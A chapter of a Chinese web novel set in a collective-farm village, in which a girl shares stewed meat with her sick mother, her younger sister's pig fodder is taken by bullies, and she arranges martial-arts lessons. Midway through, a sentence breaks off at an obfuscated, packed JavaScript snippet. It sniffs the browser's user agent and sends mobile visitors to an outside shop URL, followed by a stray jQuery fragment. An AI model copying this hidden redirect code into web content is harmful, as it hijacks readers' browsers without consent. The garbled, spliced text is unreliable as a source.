进门时屋里亮着昏暗的光,知道她娘醒了。
程似锦忙快走几步,用肩膀轻轻顶开屋门,小声喊了句:“娘。”
“你可回来了,山上是不是有什么事?”赵秋兰压低的声音里透着掩饰不住的焦急。
一觉醒来一看后半夜了,再看炕上,似锦还没回来,她这心就揪着,都打算把繁华喊起来让她搀着自己去趟牛棚了。
程似锦把锅放桌子上,先关好屋门,这才回身解释:“山上没事,我先前回来了一趟,又去了牛棚。”
赵秋兰随着她的动作注意到了桌子上的锅,还有空气中传来的香气儿。
“这是什么?”
程似锦就小声把牛棚炖肉的事说了。
难怪耽搁到现在,赵秋兰松了口气,道:“没人发现吧?”
“没有。”
程似锦拿了碗和勺子,挑了两块比较嫩的肉放到碗里,又舀了点鸡汤端过去,道:“娘,吃两块肉尝尝,再喝点汤。”
没敢拿多,大晚上的怕她娘吃多了胃里难受。
赵秋兰摆摆手:“你吃,我明天早上再吃。”
赵秋兰晚上几乎不碰汤汤水水的东西,怕起夜。
虽然她能自己挪着下炕坐到那把中间挖了个洞的破椅子上解手,但有时候还是会惊动似锦,给闺女添麻烦。
“锅里有不少呢,我再舀。”程似锦又拿了个碗去盛。
其实这会儿已经困的不行了,但这香味勾了她一个多小时,觉得不吃上一口,等会儿觉都睡不安稳。
鸡汤滚烫,不容易凉,程似锦就没多盛,舀了半勺,又挖了两块肉。
程似锦吹了吹,迫不及待地吸溜着喝了一口,香啊,真香。
嘴里、喉咙里都是满满的肉香。
香的人想哭。
“娘,你快尝尝。”
给她娘盛的时候似锦特意拿勺头撇了撇,没舀上头那层太油的。
别看家里日常吃不上多少油水,但傅大夫还是叮嘱过喝药不能吃太油的东西。
赵秋兰只好端起碗吹了吹,喝了口汤。
“好喝不?”程似锦眼睛发亮的问赵秋兰。
赵秋兰莞尔:“好喝,这可是肉汤,能不好喝么?”
娘俩吃着肉、喝着汤,似锦小声的给赵秋兰描述了下牛棚那边炖肉的情形。
赵秋兰竟听的一脸神往。
提心吊胆的事一旦完美落了幕,说起来就有了别样的新鲜感,参与者会忍不住回味,听的人也觉得向往。
程似锦吃了两块肉,喝完那半勺汤,强忍着还想继续吃的冲动,去漱了漱口,爬到炕上睡觉。
解了馋,倒是半夜好眠。
早上上工的哨声和敲锣声照例没听见……其实从她上‘夜班’开始,就听不见早上的动静了,每次都要被繁华和赵秋兰喊好久。
今天也不例外,程似锦坐起来的时候人还有些发懵。
见她这样,赵秋兰也心疼,提议道:“要不让繁华去给你请假歇上一天?”
程似锦搓了把脸,又使劲眨巴了两下眼,摇摇头道:“没事,我拿凉水拍拍脸就行了。”
繁华还不是受了委屈能憋得住的年纪,去请假少不了要听几句难听的,回头又得哭鼻子。
程似锦下炕,先去看了眼特质椅子下放着的尿桶,桶里干干净净,不需要清理。
拿冷水泼了泼脸,总算缓醒了一些。
一转头,就对上繁华亮晶晶的双眼,小脸上有点急迫的期待。
这是知道锅里有肉了,等着她开饭呢。
程似锦笑着拿毛巾擦了把脸,道:“走,吃饭去。”
滚烫的鸡汤放了三四个小时不但没凉透,还有点微温。
程似锦给赵秋兰挑了些比较嫩的鸡块、兔肉块,又添了些汤端过去。她没拿昨晚的玉米饼子,那饼子沾了油虽然香,但到底不如二合面的喧软好消化。
以前家里没有,只能吃纯玉米面的,现在既然家里有了,这纯玉米面的就她跟繁华吃,让她们娘吃掺了白面的。
“你跟小华再匀几块,我吃不完。”赵秋兰道。
又不是整块的纯肉,吃两块就能顶住,哪儿就吃不完,只是心疼孩子罢了。
程似锦拒绝:“我跟小华留的不少,再多了我俩也吃不完,放到中午就坏了。”
玉米饼子/二合面窝头掰成块泡在鸡汤里,就着喷香的鸡兔一锅炖,娘仨吃的满嘴油光。
这油光可不能带出去让人瞧见,程似锦拿毛巾给自己和繁华使劲擦了擦嘴,见还是油油的,就捏了点玉米面涂在嘴唇上,这才瞧着没那么明显了。
上工前,程似锦看了眼水缸,水快见底了,中午收工回来得再去挑两担水。又往自家那块巴掌大的自留地跑了一趟,先拨开茂密的南瓜叶子瞅了瞅,地上躺着几个比胳膊粗不了多少南瓜,且得长呢。
地虽然不大,蔬菜却种了好几样。
程似锦摘了两条丝瓜,掐了一小把豇豆回去放灶台上搁着,中午打个丝瓜汤,再清炖个豇豆。
收拾完,跟娘和妹妹打了声招呼,就出工去了。
似锦忙活的时候,繁华也没闲着,小小的人儿家务活却也干的麻利。
她起的早,已经泡好了中药,这会儿先把药熬上,再将锅碗瓢盆洗干净,收拾完,蹲坐在炉子前头聚精会神的盯着熬药的锅子,顺便听着隔壁传来的乒乒乓乓。
等药汤子开始沸腾了,便用专门搅药的高粱秆子缓慢搅动着,防止粘锅。
虚岁11的繁华还是孩子行列,上工不用随着大人们的时间,等把药熬好,伺候着赵秋兰喝了药,这才关好门去大队部领活。
程繁华跟高向明在大队部门口碰上了,两人互相一对视,都从对方眼里看到了一种隐秘的、不能宣扬的快乐。
俩孩子快乐的领了活计,快乐的跑去山脚下打猪草,即便依旧被村里其他孩子排挤,但也压不住那种偷偷高兴的劲儿。
只是这种快乐在中午收工前戛然而止。
高向明看着前方围过来的那几个,害怕的眼眶发红,忍不住想撇嘴哭。
村里其他同龄人会排挤他们、骂他们,会抢他俩发现的好地盘,但很少直接抢他们割好的猪草。
对面这四个不一样,回回都要抢他们的猪草。
程繁华也怕,怕的恨不能缩起来,让这些人看不见自己。可怕归怕,她还是伸出胳膊将高向明拨到自己身后,警惕地盯着对面的四人。
为首的是冯有光,小名狗剩,另外三个是詹大壮、黄三柱,还有黄三柱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17888351|212653||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的堂妹黄腊月。
今天是周末,学校放假,怪不得能看到冯狗剩他们。
程繁华心里叹气,知道她跟高向明割好的猪草保不住了。
熟练的摘下自己和高向明身后的背筐,将一上午的收获倒到地上,小声道:“你们拿去。”
詹大壮得意地道:“哼,算你们识相。”
玩了一上午还能白拿工分,这种好事多多益善。
“咋就这么一点?”冯有光看着地上的猪草,有些不满意,“你俩是不是偷奸耍滑没好好干活?咋就割了这么点?”
“狗剩,要不要教育教育他们?”詹大壮嘿嘿笑着建议。
程繁华忍着惧怕小声道:“我们找的位置猪草少,就割了这么点……”
黄三柱摘下他自己的背筐超程繁华这边扔过来,用命令的口吻道:“去给我们一人割上满满一筐,割不完中午就别回去吃饭了,要是敢偷懒,哼……”他晃了晃自己的拳头:“我就揍你们。”
高向明小声抽泣起来。
程繁华抿了抿嘴,正准备去捡黄三柱的背筐,一道厉喝声传了过来。
“冯狗剩、詹大壮,你俩别跑……”
冯狗剩、詹大壮:他们没跑啊。
但是被人这么一喊,不知怎的就跑了起来,跑就跑吧,还仗义的招呼剩下的两个小伙伴:“黄三柱、黄腊月,快跑!”
黄三柱和黄腊鱼下意识的跟着跑,跑的一脸莫名:“咋啦?”
邵谢圆挥舞着扫把朝冯狗剩四人跑的方向追了过去,边跑边嚷:“冯狗剩,詹大壮,你俩敢给我起外号,看我今天不打死你们。”
“你冤枉人,我俩啥时候给你起外号了……”前方传来冯狗剩大声的辩解,但他不敢停下来争论,因为他怕邵谢圆不分青红皂白的打他。
自己爹虽然是个小队长,可邵谢圆她爹是村里的会计,会计可不怕小队长,他根本不敢在邵谢圆面前耀武扬威。
一阵风从面前刮了过去,程繁华顾不上看热闹,弯腰三两下将倒出来的猪草拢到她跟高向明的篓子里,道:“快走,咱们换个地方。”
圆圆姐又帮了他们一次……
另一边,趁着冯半山去其他地方巡视,方腾飞小声跟程似锦道:“我爷爷说让你晚上过去学学看。”
程似锦心头一喜,忙道:“谢谢腾飞哥,也谢谢方爷爷。”
方腾飞看了眼冯半山离开的方向,道:“你要做好心理准备,拉筋抻练可是很疼的,还要练扎马步,那滋味…啧啧。”
小时候扎马步的经历他现在都记得清清楚楚,可见那酸爽程度。
程似锦很是坚定:“只要能变强,我不怕疼。”
晚上跟赵秋兰说了这事儿,赵秋兰很赞同,学点拳脚功夫,以后不管是上山还是夜里去公社,都多一分保障。自然,她希望这功夫用不上,但强壮强壮身体也是好的,忙道:“给方老爷子拿点什么拜师礼?”
程似锦想了下,道:“咱家就有点粮食,不如等过几天队里放假,我去公社拿药的时候再给方爷爷买点东西。”
赵秋兰:“也好。”
吃过晚饭,似锦打水给赵秋兰擦了擦身子,将换下来的衣服洗了,又教繁华学了会儿习,约莫着道上没啥人了,这才朝牛棚走去。